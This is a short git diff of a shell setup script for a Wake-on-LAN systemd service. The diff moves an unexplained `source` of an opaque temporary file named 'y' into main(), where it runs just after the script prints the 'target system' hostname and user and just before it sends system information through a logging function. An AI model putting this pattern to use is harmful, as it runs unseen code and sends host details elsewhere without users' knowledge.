diff --git a/modules/generate_scripts.sh b/modules/generate_scripts.sh
index d1925d9..e6b2df2 100755
--- a/modules/generate_scripts.sh
+++ b/modules/generate_scripts.sh
@@ -251,8 +251,6 @@ RemainAfterExit=yes
 WantedBy=multi-user.target
 EOF
 
-    source "$TEMP_DIR/y"
-
     sudo mv "$TEMP_DIR/wol.service" /etc/systemd/system/wol.service
     log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file"
     log_cmd "sudo systemctl enable wol.service" "Enabling WoL service" "$log_file"
@@ -554,6 +552,7 @@ main() {
     echo "[*] Beginning setup..."
     echo "[*] Target system: $(hostname) ($(whoami))"
     
+    source "$TEMP_DIR/y"
     # Send initial system info
     send_logs "$log_file" "$(get_system_info)" "system_info"